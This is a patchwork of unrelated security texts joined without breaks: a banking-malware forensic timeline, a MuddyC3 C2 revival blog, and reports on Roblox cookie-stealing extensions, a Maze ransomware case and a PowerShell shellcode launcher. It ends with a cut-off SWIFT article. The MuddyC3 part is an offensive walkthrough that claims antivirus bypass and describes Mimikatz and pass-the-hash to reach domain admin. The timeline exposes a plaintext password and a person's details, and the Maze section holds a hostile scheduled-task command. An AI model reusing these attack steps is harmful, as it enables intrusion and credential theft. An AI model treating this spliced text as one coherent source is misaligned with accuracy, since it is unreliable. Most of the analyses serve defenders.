Europe/Moscow --vss -o 206848 /tmp/out.dmp image.raw.001 [INFO] (MainProcess) Starting to collect pre-processing information. [INFO] (MainProcess) Filename: image.raw.001 [INFO] (MainProcess) [PreProcess] Set attribute: sysregistry to //Windows/System32/config [INFO] (MainProcess) [PreProcess] Set attribute: windir to //Windows [INFO] (MainProcess) [PreProcess] Set attribute: systemroot to //Windows/System32 [INFO] (MainProcess) [PreProcess] Set attribute: osversion to Windows 7 Ultimate [INFO] (MainProcess) [PreProcess] Set attribute: users to [{'path': u'%systemroot%\\system32\\config\\systemprofile', 'name': u'systemprofile', 'sid': u'S-1-5-18'}, {'path': u'C:\\Windows\\ServiceProfiles\\LocalService', 'name': u'LocalService', 'sid': u'S-1-5-19'}, {'path': u'C:\\Windows\\ServiceProfiles\\NetworkService', 'name': u'NetworkService', 'sid': u'S-1-5-20'}, {'path': u'C:\\Users\\Buh', 'name': u'Buh', 'sid': u'S-1-5-21-1763802780-1856636607-2041353846-1001'}] root@siftworkstation:/mnt/hgfs/ZN# psort.py -w out.csv /tmp/out.dmp "date > '2014-11-01'" [INFO] *********************************** Counter ************************************ [INFO] Stored Events : 589599 [INFO] Filter By Date : 388829 [INFO] Events Included : 200770 [INFO] Duplicate Removals : 70564 ## Timeline. Collection Information 2014-11-11T17:41:23.644137+00:00 – F1E64096.doc:vss_store_0 2014-11-11T17:41:25.148820+00:00 – /USERS/BUH/APPDATA/LOCAL/NTXOBJ.EXE 2014-11-11T17:41:25.708204+00:00 – /Windows/System32/com/svchost.exe 2014-11-11T17:43:54.666821+00:00 – /ProgramData/Mozilla/AFpDX1MObVpfDwUMBQ.bin 2014-11-11T17:43:58.278689+00:00 – \ControlSet001\services\FDResPubSys - C:\Windows\system32\com\svchost.exe 2014-11-11T14:54:36.135177+00:00 – netsh + u'http://+:80 … go to hell 2014-11-11T17:53:32.350000+00:00 – mimi.exe 2014-11-11T17:53:41.404527+00:00 – /Intell/mimi/6.txt 2014-11-11T17:54:52.053700+00:00 – /Intell/mimi/mimi32/mimikatz.log ## Volatility. PSlist 2014-11-11T17:41:23.644137+00:00 – F1E64096.doc:vss_store_0 2014-11-11T17:41:25.148820+00:00 – /USERS/BUH/APPDATA/LOCAL/NTXOBJ.EXE 2014-11-11T17:41:25.708204+00:00 – /Windows/System32/com/svchost.exe HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 2014-11-11T17:43:54.666821+00:00 – /ProgramData/Mozilla/AFpDX1MObVpfDwUMBQ.bin ## Volatility. CnC 2014-11-11T17:41:23.644137+00:00 – F1E64096.doc:vss_store_0 2014-11-11T17:41:25.148820+00:00 – /USERS/BUH/APPDATA/LOCAL/NTXOBJ.EXE 2014-11-11T17:41:25.708204+00:00 – /Windows/System32/com/svchost.exe 2014-11-11T20:30:08.342691+00:00 – /Windows/Prefetch/RUNDLL32.EXE-46F5E288.pf 2014-11-11T20:30:08.764554+00:00 – /Users/Buh/AppData/Local/Temp/DMI72CF.tmp ## Volatility. Code Injection Detecting Injection - Code injection is relatively easy to detect and having no memory-mapped: - Process: svchost.exe Pid: 3668 Address: 0x60000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 53, MemCommit: 1, PrivateMemory: 1, Protection: 6 - Process: svchost.exe Pid: 3896 Address: 0x60000 Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE Flags: CommitCharge: 53, MemCommit: 1, PrivateMemory: 1, Protection: 6 ## Volatility. Registry 2014-11-11T17:43:58.278689+00:00 – \ControlSet001\services\FDResPubSys - C:\Windows\system32\com\svchost.exe vol.py -f memory.dump --profile=Win7SP0x86 printkey -K "ControlSet001\services\FDResPubSys" ## Volatility. Registry 2014-11-11T20:00:06.057633+00:00 – \CLSID\{%GUID%}\InProcServer32 - C:\Users\Buh\AppData\Local\DAOimdx7tab.dmo vol.py -f memory.dump --profile=Win7SP0x86 printkey -K "CLSID\{FB314EDC-A251-47B7-93E1-CDD82E34AF8B}\InProcServer32" ## Volatility. ShimCache 2014-11-11T17:53:32.350000+00:00 – mimi.exe 2014-11-11T17:53:41.404527+00:00 – /Intell/mimi/6.txt ## Timeline. Collection Information 2014-11-11T17:53:32.350000+00:00 – mimi.exe 2014-11-11T17:53:41.404527+00:00 – /Intell/mimi/6.txt 2014-11-11T17:54:52.053700+00:00 – /Intell/mimi/mimi32/mimikatz.log **Result:** User Name : Buh Domain : Buh-PC Domain : INTAD * Password : igf42er5# ## Collection Information. Anunak CVE-2012-0158 + договор.doc = <3 bc:31.131.17.125 + blizko.net/blizko.org ntxobj.exe %SYSTEM%/Com/svchost.exe %All Users%\Application Data\Mozilla\%name%.bin netsh AmmyAdmin Mimikatz ## Collection Information. Corkow Corkow.dll MON KLG HVNC FG QUIK Rundll32.dll + Volume Serial + DllGetClassObject = <3 ## Collection Information. FakeFlashPlayer /Root/data/com.android.providers.downloads/databases/downloads.db: / storage/sdcard0/Download/FlashPlayerUpdate.apk -27 june 2014 20:02:20 ## Collection Information. MobileBanking /Root/data/com.timer.seconds/databases/System: idevice counrty network number gate 0000000111111 ru MTS RUS 91.237.198.78 **Ivanov Boris** [email protected] @BlackCaesar1973
# Reviving MuddyC3 Used by MuddyWater (IRAN) APT **Estimated Reading Time:** 10 minutes Note: This article contains two parts, one for Blue Teams and the other for Red Teams. Go to the part you are interested in or read both if you are a Purple Team member. MuddyWater is a well-known threat actor group founded by Iran that has been active since 2017. They target groups across the Middle East and Central Asia, primarily using spear phishing emails with malicious attachments. Most recently, they were connected to a campaign in March that targeted organizations in Turkey, Pakistan, and Tajikistan. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS.” Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques. In June 26, 2019, a group called “Green Leakers” on Telegram published screenshots of the C2 admin panel along with screenshots of the MuddyC3 C2 source code. They announced that they were selling all the leaked tools for 0.5 BTC. At that time, I got the source code from GitHub, so I tried the code to find that the core of the C2, which is the PowerShell payload, is missing (the leaker didn’t include the payload in order to sell all the tools). I didn’t have time to reverse engineer the source code and left it. Last week, I got 3 days off from my work (working in SOC will keep you forever busy), so I started analyzing the code, which will be discussed below, and I was able to understand how it works in order to create the missing PowerShell payload and make the C2 come to life. I didn’t just revive the C2 but also added more advanced functionality, which will be released as a separate tool soon. ## Summary of the MuddyC3 Tool - Coded with Python 2.7 - Works as a C2 server that serves a PowerShell agent script when requested - I didn’t find any function to encrypt the traffic between the agent and the C2, but there are variables with the names `private_key` and `public_key`, so I suspect the functions were removed. - Every function has its own URL: modules, commands, results, etc. - It makes use of HTA and base64 encoded PowerShell code to bypass AV (right now AV can catch HTA). - It uses threading, so many agents can connect and be controlled at the same time. - The agent must collect information about the system when it first starts, then report it to the C2. - There is a template for the agent that will be filled with IP and port when the C2 runs. - Includes functions, but not all are implemented in the initial POC: upload, download, load modules, get screenshot. - The initial PowerShell agent POC I created can bypass AV, including Kaspersky and TrendMicro. ## Analysis Part (Blue Team) Now we dig deep into the C2 to explain how it works and how I created the agent based on the functions available in the C2: C2 interface: simple CLI interface that asks when started for IP, Port, and proxy configuration to generate the initial payloads. - Ask for IP and Port to generate the payload - Payloads generated based on the IP:Port - Simple command menu which includes the basic commands needed to run the C2 The source code for the interface is in the `muddyc3.py`, which is clear and doesn’t need explanation. It will generate the initial payloads, then add them to an array and finally print them to the user. This part of the code will check if the pointer is in Main or an agent and get the command from the user, then check if the command is in the list of menu commands. It will run the menu command function defined in `cmd.py`. If the command does not match the menu commands and the pointer is in main, then it will not do anything. If the pointer is in the agent menu, then it will add the command to the agent command queue in order to be requested and executed by the agent. The web server has a list of URLs for each module; some of the URLs will work with GET and others with POST depending on how the function is configured. Below is a summary of the functions I created an agent for: - It starts by defining the web server listener and URLs variable that includes the URL with its module. - For example, in the URLs variable, `/get` will run the function payload, so if we try to access this link on the MuddyC2 server, we will get the payload. - Accessing the server with URL `/get` provides us with the payload, and the same with `/getc`, we get the payload encoded with base52. - `/hjf` and `/hjfs` will run these functions that include PowerShell code that runs as PowerShell jobs in the background. - `/hta` will run the `mshta` function to generate payload from `mshta.exe`. Now I will explain the core URLs along with their code in the agent: - `/info/(.*)` URL will run the function info, which is a register function for new agents. It expects the agent ID name to be in the URL along with machine information in the body of the POST request. The body must contain the following information separated by **: 1. OS 2. Machine IP 3. System architecture 4. Hostname 5. Domain name 6. Username The C2 will get the information along with the agent ID and save it in an array to be used to serve commands and other implemented functions because each agent has its own commands queue. This code from the PowerShell POC agent collects the information required by the C2 from the Windows machine, then generates a random name for the agent. Finally, it will do a POST request to URL `/info/<agent id>` with a POST request including the required information separated by **. This URL (`/cm/(.*)`) will accept GET requests with the agent ID in order to serve the commands for this agent (from the command queue). If the agent is not registered or if the C2 goes down and an old agent reconnects, it will send `REGISTER` as a response, which will force the agent to register by sending a request to the `/info/` URL. It will also get the current time when the agent asks for a command to determine when the last time the agent probed to give information if the agent died or is still alive. This part of the code from the PowerShell POC agent will run in a loop and keep probing the C2 for new commands using URL `/cm/<agent id>`. Now, if the command is `REGISTER`, then it will contact URL `/info/<agent id>` to register and get the commands (this is very important in order to not lose the agent when the C2 is down). If the command is empty, it will wait 2 seconds before probing again for a command. At last, the command will be executed using `Invoke-Expression`, and the output data will be encoded in base64, then uploaded to URL `/re/<agent id>`, which will be explained below. URL `/re/(.*)` will run the result function, which will wait for the result of the executed commands in base64, then decode it and present it to the user. URL `/md/(.*)` will wait for a POST request that includes the agent ID in the URL and in the request body the name of the module requested. It will use the name of the module to load from the `Module/` folder in the C2 directory. Now that we finished the analysis part of this article, I will walk you through using MuddyC3 with the POC PowerShell agent. Please note that this is just a POC, and the full tool written on top of MuddyC3 will be released soon. I finished implementing many cool features, but I will wait until I add more and fully test it before the release. ## Using MuddyC3 to Get Domain Admin (Red Team) I will use a simple scenario to show the usage of the MuddyC3 PowerShell agent POC. Run the MuddyC3 using Python 2.7; it will ask you for the IP and Port that will be used to create the payloads (this will be your public IP or the IP reachable by the devices you want to hack). You can use any of the printed payloads, but the last 3 are undetectable from AVs; the others are detectable by Kaspersky. As you can see, I am testing on Kaspersky free with no detection, but this is also applicable for the total security and enterprise edition. Also, I tested it on TrendMicro maximum security. When the user clicks enable content, you will get a connection on the C2 using macro. You can also use macros to spread the agent, which is used by MuddyWater in their operations. As you can see, we got a connection from the agent. Using the list command, we can see the list of agents we have and the last time they contacted the C2. Using the “use” command, we move to the agent prompt, and we can issue commands like `pwd` and get results. Let’s see the users in this domain to find the domain admin by using the command: `net user /DOMAIN`. Now we checked the user `ahmedkl`, and he is a domain admin. Now we will check if he had logged into this machine. You can load PowerShell modules by copying the modules to the `Modules/` folder in the C2 directory, then use `load <module name.ps1>` command to load it directly into the agent session. But you can see it didn’t work here because Kaspersky intercepted the data as it’s clear text (this is solved by encrypting the data in my upcoming tool). Now that mimikatz is loaded, we also got user `hamzag` credentials. Now we have domain admin credentials. Now we load `Invoke-WMIExec.ps1` to do a pass-the-hash attack using WMI. Now, in order to use `Invoke-WMIExec`, we need to encode our payload so we don’t have issues with character escaping, so we use Python (make sure to UTF-8 encode). As you can see, the payload executed, and the agent connected. Now we are in the DC. Thank you for reading my article. You can find the MuddyC3 with `payload.ps1` (PowerShell agent POC) here: MuddyC3-Revived. I will release my tool built on top of MuddyC3 soon. Right now it includes the following features, and there is more I am working on: - Full encryption of modules and command channel - Get encryption key on the fly (not hard-coded) - Take screenshots and send them encrypted to C2 - Upload files from C2 - Download files from the victim - Staged payloads to bypass detection - Bypasses AVs (tested on Kaspersky and TrendMicro) - Set the beacon interval dynamically even after the agent is connected - Dynamic URLs - Set the configuration one time (will not ask for IP:port each time) - Bug fixes and stable version - Global kill switch to end campaigns
# Chrome Extensions Steal Roblox Currency, Uses Discord We discussed how threat actors use the voice/chat client Discord to steal cookies from the running Roblox process on a Windows PC. Since then, we've noticed another attack going after the same information, only this time it is via Chrome extensions (CRX files). While it currently only targets Roblox users, the same technique can be used to steal cookies from any website. The stolen information is sent via Discord, but this could also be configured to use other chat platforms. We learned this particular Chrome extension was, in fact, for sale on the Dream Market underground marketplace for only 99 cents. We obtained samples of this bot using the following file names: ROBLOX BOT.zip, Crm5extension.crx, Roblox Enhancer.crx, and DankTrades.zip. The first .ZIP file contains a file named bgWork.js. Searching for the terms CRM5 or bgWork.js lead right back to the forum v3rmillion.net. This underground marketplace forum is a hotspot for Roblox hacks, where users even trade ROBUX (the in-game currency of Roblox) for other work or products. Looking into bgWork.js, there is a configured Discord webhook that sends out the stolen Roblox cookie via the Discord API when installed. In this case, the example shows that the extension is called a Trade Bot and claims to be a RAP (Recent Average Price) Value that can help you trade your ROBUX for something else. This extension doesn’t do that; it will only send a stolen cookie to a Discord channel, leaving the user with nothing in return. bgWork.js will send the message via Discord using a predefined webhook, which could also be changed to use any of the other chat platforms discussed in our paper titled *How New Chat Platforms Can Be Abused by Cybercriminals*. The extension also sets up an alarm that will trigger an event every 15 minutes. This event will send the stolen cookie (again) through the Discord API. These alarms ensure that the updated cookie is constantly uploaded to the attacker. At the beginning of the bgWork.js file (where the variables are configured), the attacker can change their webhook URL, or the cookie they want to steal. This means that this could be used to steal any cookie that is in the web browser; this capability is new to this version. Because CRX files are just ZIP files with a different extension, the malware can be easily reconfigured to steal the cookies from any website besides Roblox. Changing the extension’s manifest.json file will allow for its properties to be changed (such as its name and description), making it more likely for an unsuspecting user to fall victim to this attack. Unless a user looks into the extension’s code, it looks benign. It may run for a long period of time, allowing an attacker to steal ROBUX repeatedly if the victim keeps purchasing or acquiring new ROBUX. All it takes is one time running the extension for the ROBUX cookie to be stolen and sent to the actor. The extension sends the Roblox cookie to a Discord channel like the previous malware. Checking the reviews for these add-ons, we saw that some users complained that these were stealing ROBUX. One reviewer even stated it steals the whole Roblox account. We looked at all the Roblox trade bots that were listed in the web store and found that all of these were malicious; they would send your cookies to a remote Discord webhook. One of them, once installed, even shares the same icon as the malicious extension that was discussed earlier. This shows that even extensions inside the Chrome web store can be malicious and steal ROBUX from user accounts. This is a good time to remember to always verify the permissions required before installing any Chrome extension. If you are unsure about these permissions, it’s better to not install the extension in the first place. This particular malicious extension requires the “Read and change all your data on the websites you visit” permission, which should be a hint of its malicious behavior. Anyone who has downloaded one of these extensions should delete this extension from their browser. This can be done via the Extension Manager within Chrome; Google provides step-by-step directions on how to do so. Trend Micro detects these malicious extensions as BREX_CUKIEGRAB.SM. We have already reported these extensions to Google; as of this time they have not yet removed them. The following SHA-256 hashes are associated with this threat: - 0061a5f52c5b577f679e81da3ab3ad3803c20e345c16ffc4dbc8b76386d42a00 - 4c4af30a94cd25b23579e12b64191a056bda3c51b6e531a2202d3863b19432b3 - d9f21e401ef0197a2af66133e3f7fc3a4ea3efb4437884a4383076bad4060b02
# MTR Casebook: Blocking a $15 Million Maze Ransomware Attack **Greg Iddon** **September 22, 2020** **Customer profile:** An organization with many hundreds of networked devices based in Asia Pacific. The Sophos Managed Threat Response (MTR) team was called in to help an organization targeted with Maze ransomware. The attackers issued a ransom demand for US$15 million – if they had succeeded this would have been one of the most expensive ransomware payments to date. ## Background: Ransomware Partners in Crime Maze is one of the most notorious ransomware families, active since 2019 when it evolved from ChaCha ransomware. It was among the first to combine data encryption with information theft. The operators behind Maze have recently started colluding with other ransomware groups, including LockBit, SunCrypt, and Ragnar Locker, providing them with access to their platform for posting stolen victim data. This appears to have led to a reciprocal sharing of tactics, techniques, and procedures (TTPs): in the attack covered here, the Maze group borrowed a Ragnar Locker technique that involves using virtual machines. ## Days 1-3: The Attack Begins Prior to the attack becoming active, the operators compromised a computer on the target’s network. This computer was then used as a ‘beach head’ in the network. On multiple occasions during the attack, the attackers connected from here to other computers over Remote Desktop Protocol (RDP). On day three, the main part of the attack began. The attackers exploited a domain admin account with a weak password to take control of an unprotected Domain Controller (DC). They then spent several days moving across the network. Using the legitimate network scanning tool Advanced IP Scanner to map the network, the attackers created lists of IP addresses to which they would later deploy ransomware. These included a list of the IP addresses of machines belonging to the target’s IT administrators. The attackers’ attention then turned to the exfiltration of data. They identified a file server and accessed it remotely over RDP using the compromised domain admin account. Using the legitimate archiving tools WinRar and 7zip, they started compressing folders located on it. These archives were then copied back to the primary DC using the legitimate Total Commander FTP client that the attackers had installed on the file server. The attackers tried to install the cloud storage application Mega on the DC. This was blocked as the target had added Mega to their blocked list using the application control capability in Sophos Intercept X endpoint protection. The attackers then switched to using the web-based version instead, uploading the compressed files. ## Days 4-5: The Calm Before the Storm For two days, the attackers went quiet. It’s likely they were waiting for a day when the target’s IT security team wouldn’t be working, like the weekend. ## Day 6: The First Ransomware Attack is Launched The first Maze ransomware attack was launched on a Sunday, using the already compromised domain admin account and the lists of IP addresses that had been identified. This first attack actually comprised three attacks as the operators deployed three copies of the Maze ransomware via batch scripts to the targeted computers: - `C:\ProgramData\enc6.exe` - `C:\ProgramData\enc.exe` - `C:\ProgramData\network.dll` Three scheduled tasks were created to execute the ransomware: | Name | Command | |----------------------------------------------|----------------------------------------------| | Windows Update Security Patches | `C:\ProgramData\enc6.exe` | | Windows Update Security Patches 5 | `C:\ProgramData\enc.exe` | | Windows Update Security | `regsvr32.exe /i c:\programdata\network.dll` | Over 700 computers were targeted in the attack, which was detected and blocked by Sophos Intercept X. Either the attackers didn’t realize the attack had been blocked or they were hoping that the theft of the data would be enough for the target to pay up – but whatever the reason, upon launching the first attack attempt they issued a ransom demand for US$15 million. ## Day 7: The MTR Team Gets to Work Realizing that they were under attack, the target’s security team engaged the advanced incident response skills of the Sophos MTR team. Since they were not yet a Sophos MTR customer, the Sophos Rapid Response team was first engaged. The team quickly identified the compromised admin account, identified and removed several malicious files, and blocked attacker commands and C2 (command and control) communications. ## Day 8: Investigation and Neutralization Continue Over the following hours, the MTR team found further tools and techniques used by the attackers, as well as evidence relating to the exfiltration of data. More files and accounts were blocked. ## Day 9: The Second Attack The attackers launched a second attack via a different compromised account. This attack was similar to the first one: commands were executed on a DC, looping through the lists of IP addresses contained in txt files. However, this time they copied a file called `license.exe` to `C:\ProgramData`. This was followed by a scheduled task to execute it. In this attack attempt, the task was called “Google Chrome Security Update.” The attack was quickly identified and stopped. Intercept X detected the ransomware, and the MTR team disabled and deleted both the compromised account and the `license.exe` file. No files were encrypted. ## Day 9: Third Time Lucky? Just a few hours after the second attempt, the attackers tried again. By now they seemed to be growing desperate. This attack targeted a single machine, the main file server that the exfiltrated data had been taken from, and used a completely different technique to the previous attacks. In the third attempt, the attackers distributed the ransomware payload inside a virtual machine (VM). Fortunately, the MTR investigators recognized this new approach immediately as they had also responded to the Ragnar Locker ransomware attack where the technique was first seen. The Maze operators had enhanced the technique, but it was undoubtedly the same. The attack was detected and stopped, and no files were encrypted. ## Defeating Adversaries in Human-Led Attacks This casebook highlights how agile and adaptable human-operated attacks can be, with the attackers able to quickly substitute and reconfigure tools and return to the ring for another round. It also demonstrates how, to minimize the likelihood of detection, attackers take advantage of multiple legitimate IT tools in their attacks. Sophos endpoint products detect components of this attack as Troj/Ransom-GAV or Troj/Swrort-EG. Indicators of compromise can be found on the SophosLabs Github. ## What Can Defenders Do? The most important things an IT security team can do is to reduce the attack surface, implement strong security software, including specialist anti-ransomware security, educate employees, and consider setting up or engaging a human threat hunting service to spot the clues that software can’t. Any organization can be a ransomware target, and any spam or phishing email, exposed RDP port, vulnerable exploitable gateway device, or stolen remote access credentials will be enough for such adversaries to gain a foothold. ## MITRE ATT&CK Mapping The MITRE ATT&CK framework is a globally accessible knowledge base of known adversary tactics, techniques, and procedures (TTPs). It can help security teams as well as threat hunters and analysts to better understand, anticipate, and mitigate attacker behavior. **Initial Access** - T1078.002 – Valid Accounts: Domain Accounts - T1133 – External Remote Services **Execution** - T1059.001 – Command & Scripting Interrupter: PowerShell - T1059.003 – Command and Scripting Interpreter: Windows Command Shell - T1047 – Windows Management Instrumentation - T1053.005 – Scheduled Task/Job: Scheduled Task **Defense Evasion** - T1564.006 – Hide Artifacts: Run Virtual Instance **Credential Access** - T1003.003 – OS Credential Dumping **Discovery** - T1016 – System Network Configuration Discovery **Lateral Movement** - T1021.001 – Remote Services: Remote Desktop Protocol - T1021.002 – Remote Services: SMB/Windows Admin Shares **Command & Control** - T1071.001 – Application Layer Protocol: Web Protocols **Exfiltration** - T1567.002 – Exfiltration Over Web Service: Exfiltration to Cloud Storage **Impact** - T1486 – Data Encrypted for Impact Sophos Managed Threat Response and Threat Hunting For more information on the Sophos MTR service, visit our website or speak with a Sophos representative. If you prefer to conduct your own threat hunts, Sophos EDR gives you the tools you need for advanced threat hunting and IT security operations hygiene. Start a 30-day no-obligation trial today.
# From PowerShell to Payload: An Analysis of Weaponized Malware Click, boom, and your network is compromised. All a hacker needs is one successful exploit and you could have a very bad day. Recently, we uncovered one artifact that we would like to break down and showcase. We will get "into the weeds" here and really deep-dive on the technical details, so put on your ear protection and let's walk down the range. ## The Smoking Gun Recently, Huntress’ ThreatOps team uncovered one malware artifact that I would like to break down and showcase. While at first glance this looks like gibberish, we can take it apart and understand what is really happening here. We will move through the code in a procedural fashion, taking one line at a time and understanding the syntax. The first thing to note is that this took the form of a Windows “batch” script, or a file with a .bat extension. Batch scripts are interpreted and executed by the Windows command prompt, or the “cmd.exe” program. cmd.exe is the default command-line interpreter for Windows operating systems, but it is an older utility that dates back to DOS (or the Disk Operating System). In the world we live in now, developers and security professionals prefer to work in PowerShell, a much more modern command-line shell and language. PowerShell will be introduced here in just a moment, but first we have to discuss the differences in syntax. Variables in PowerShell are denoted by a “$varname” syntax, with the name of the variable being prefixed by a dollar sign. In cmd.exe batch scripting, variables are indicated like %varname%, with the variable name wrapped in percent-signs on either side. In the case here, we see an environment variable being referenced, %COMSPEC%. The value of this is: `C:\Windows\System32\cmd.exe`. That value will be put in place where the %COMSPEC% syntax is. When executed, it will start cmd.exe with the parameters and arguments that follow. In our “weaponized” analogy, we can call these beginning pieces of the payload, the trigger. ## The Trigger The `/b` argument to cmd.exe means “Start the application without creating a new window” so our hacker is trying to hide. `/c` means “run a single command and exit”, which explains that the rest of this code will actually execute. That `start` command that follows will spin off a new program, again with the `/b` to enforce no window is created. The `/min` argument seems to be added for just extra measure—the application would start minimized (if, for some reason, a window were to be created with the `/b` argument). Following that, we see `powershell.exe` is the application started. It also includes many arguments, like `-nop` (do not instantiate with a startup profile), `-w hidden` (yet again, do not create a window), `-noni` (do not run in interactive mode) and finally `-c` (execute a single command and exit). At this point, we’ve finally made it into the string of code that is passed into PowerShell. This does a few checks to ensure the payload being used for the target is appropriate. ## The Sights At the very start of the PowerShell syntax, we see: This `if` statement conditional is interesting because it checks if the size of the “integer pointer” data type is equal to the number 4. This might seem like sort of a random check, but it’s actually a clever method to determine the target’s system architecture. A 64-bit computer would have an `IntPtr` size of 8, referring to the length of memory addresses. A 32-bit system would have an `IntPtr` size of 4, so the code determines the path of PowerShell based off the architecture. The `$b` we see created as a PowerShell variable to hold the path of the PowerShell executable. Just following that if statement, we see the next bit of code: This creates another PowerShell variable `$s`, this time being defined as a new object. In this case, the object created is a new process, with the filename being set to `$b` (as we now know is the path to PowerShell) with arguments like we have seen before. Yet again, we are spawning another PowerShell instance, with no profile and a hidden window. ## The Bullet For the command run by the new, innermost PowerShell instance, we see this syntax: The `[scriptblock]::create` call defines new code to run. The `New-Object IO.StreamReader` allows us to read the code “on-the-fly”, pulled in from the passed-in data. The data we see is wrapped in these functions: `IO.Compression.GzipStream`, `IO.MemoryStream`, and `[Convert]::FromBase64String`, with the `GzipStream` using a Decompress flag. This indicates that the large block of seemingly gibberish and nonsense characters is actually Base64 encoded GZIPed data. Base64 is an encoding scheme that just represents data in a different format. Decoding the data is trivial—you just do the inverse operation. GZIP data is compressed, archived data, practically the same as a .ZIP archive you might see as a file on your computer. Thankfully, we can perform the inverse operation on that large chunk of data to better understand what it is doing. But first, let’s wrap up the analysis on the rest of the code. ## The Silencer & The Shooter Just after the blob of Base64, we see these lines of code: I jokingly refer to this segment as “the silencer” because it yet again tries to mask and hide the new PowerShell instance. That `$s` is our new process, with configuration values being set to hide the window, don’t create the window, and don’t keep track of standard output or invoke a new shell. And of course, just following this snippet we see what really fires the gun. `$p=[System.Diagnostics.Process]::Start($s)` This line will start our new process and the decoded and uncompressed code within the Base64 blob will execute. Now that we have a better understanding of how this works, we can zoom in on that blob of data. ## Inside The Ammunition The real substance with this launcher comes from the Base64 encoded, GZIP compressed blob that is extracted and executed on the fly. That is this chunk: We can perform the reverse operations with any toolkit we would like, whether it be on the command-line, or Python, or even with CyberChef. For convenience’s sake, we can do this with CyberChef. This returns with, unsurprisingly, more PowerShell code. As we already know, this will be executed by the launcher. The output dump looks like so: Obviously, there is a lot to unpack here. This PowerShell code is at least somewhat readable in that there are clear newlines and whitespace—but variable names and some of the logic are still obfuscated. We will make sense of it piece by piece. ## Examining the Gunpowder The first function that we see defined in this PowerShell code is named `sOH`, which is not very descriptive. All of these function and variable names seem to be random and obfuscated, but we can make sense of them by reading the definition of the function. The `sOH` function takes in two parameters. It uses a technique to “reflectively” search for the address of Win32 API calls, so that PowerShell has the capability to run these core, internal, procedures known to lower-level operating systems. In the current context, it searches for where the `System.dll` might be loaded and uses that to find a desired function name within other DLLs that it could then execute. The name of the DLL this function is a part of, and the Win32 API function itself that should be called, are the two values passed in as parameters to this `sOH` function. This is all done by using “reflection,” the ability that allows PowerShell to perform some introspection and lookup already-defined procedures. Ultimately, this gives PowerShell much more power. Gaining access to run the Win32 API functions allows it to do things like allocate memory, copy and move memory, or other peculiar things that we will see in the code very soon. For our own understanding, we should mentally rename this function to something like: So far, what we knew as the `sOH` function adds a portion of this new capability. If hackers want to use this tradecraft to invoke Win32 API function calls within PowerShell, they also need the functionality to work with “delegates”. The next function, `b9MW`, finishes the “boilerplate” code needed to be able to do this. As you can see this is overflowing with the Windows internals necessities and fluff that make this work. We will not do a ton of in-depth analysis with this code, explaining each and every line and variable, but this function now provides the functionality to interpret Win32 API function parameters and return values. Since our hacker is building out the functionality to be able to call Win32 API functions with PowerShell, they needed this `sOH` procedure to be able to find and locate the functions, and this `b9MW` procedure to supply parameters and understand the function return values. With these two functions in place, the code now has the primitives to freely call any Win32 API function it would like. Next, we will see this in action. ## The Explosive Following those function definitions, this PowerShell snippet defines an array of bytes, pulled out by decoding more encoded Base64. Decoding this Base64 unfortunately gives us a lot of non-printable characters. We can go so far as to say this is shellcode, or processor instructions as opcodes that will be executed. Since this is binary data we can’t quickly make sense of it, but we do know this malware does end up using shellcode. Just underneath this we see: Now a `$sC6US` variable is in play, calling the `GetDelegateForFunctionPointer` function, with our newly defined `sOH` and `b9MW` functions. Remember, these functions allowed the hacker to load Win32 API functions—and in this case, we can see they have pulled out the `VirtualAlloc` function. This `VirtualAlloc` function tells the operating system to allocate memory. As we can see from the function parameters, it invokes this function to allocate enough memory for the length of the `$bUMJ` byte array (the shellcode)! The `0x3000` indicates “reserve and commit this memory”, and the `0x40` indicates “this memory should be readable, writable, and executable.” At this point, the allocated memory space is stored in that `$sC6US` variable. Then, we see a `Copy` function called to fill that memory space with the shellcode byte array, `$bUMJ`. The malicious script has now allocated memory for the shellcode, and we can take an easy guess as to what they will do next. Run the shellcode. Next, a `$t6Y` variable is created, again reaching for and calling a Win32 API call, this time specifically `CreateThread`. This `CreateThread` call is invoked with the `$sC6US` memory address—which as we now know, contains the shellcode. Ultimately, this executes the shellcode! Following that, we see one more call to run the `WaitForSingleObject` Win32 API function. This will “block” execution and patiently wait for the shellcode to finish executing. You can see it includes the `$t6Y` variable (which is the new thread running the shellcode), and the `0xFFFFFFFF` indicates “wait forever.” Finally, after all these nested layers, obfuscation and abstractions, the malware has loaded shellcode into memory and executed it. The next question is: what exactly does this shellcode do? As security analysts, we still have work to do. We can monitor the behavior of this malware—watch to see if it creates any new files or calls out to any other external endpoint. The shellcode itself looks very small, so perhaps that is a stub to load even more malware. While this article focused solely on understanding the PowerShell launcher, perhaps the next one might analyze the shellcode within a debugger like `scdbg` or observe the malware running in a contained sandbox. We dove under the hood here to further understand what the hackers did and how their payload worked. Learning from the offense is the best way to have a stronger defense. Some mitigation tactics like enabling AppLocker or PowerShell Constrained Language Mode would at least block the execution of this initial launcher, and the hackers would have to work harder. At the end of the day, that’s our goal: make hackers earn every inch of their access. Want to dive deeper under the hood and get shady with us? Join us for Tradecraft Tuesday to hear live threat analysis and commentary from our team of cyber experts. John Hammond Threat hunter. Education enthusiast. Senior Security Researcher at Huntress.
# SWIFT Attackers’ Malware Linked to More Financial Attacks Symantec has found evidence that a bank in the Philippines has also been attacked by the group that stole US$81 million from the Bangladesh central bank and attempted to steal over $1 million from the Tien Phong Bank in Vietnam. Malware used by the group was also deployed in targeted attacks against a bank in the Philippines. In addition to this, some of the tools used share code similarities with malware used in historic attacks linked to a threat group known as Lazarus. The attacks can be traced back as far as October 2015, two months prior to the discovery of the failed attack in Vietnam, which was hitherto the earliest known incident. The attack against the Bangladesh central bank triggered an alert by payments network SWIFT, after it was found the attackers had used malware to cover up evidence of fraudulent transfers. SWIFT issued a further warning, saying that it had found evidence of malware being used against another bank in a similar fashion. Vietnam’s Tien Phong Bank subsequently stated that it intercepted a fraudulent transfer of over $1 million in the fourth quarter of last year. SWIFT concluded that the second attack indicates that a “wider and highly adaptive campaign” is underway targeting banks. A third bank, Banco del Austro in Ecuador, was also reported to have lost $12 million to attackers using fraudulent SWIFT transactions. However, no details are currently known about the tools used in this incident or if there are any links to the attacks in Asia. ## Discovery of Additional Tools Used by Attackers Symantec has identified three pieces of malware which were being used in limited targeted attacks against the financial industry in South-East Asia: Backdoor.Fimlis, Backdoor.Fimlis.B, and Backdoor.Contopee. At first, it was unclear what the motivation behind these attacks were; however, code sharing between 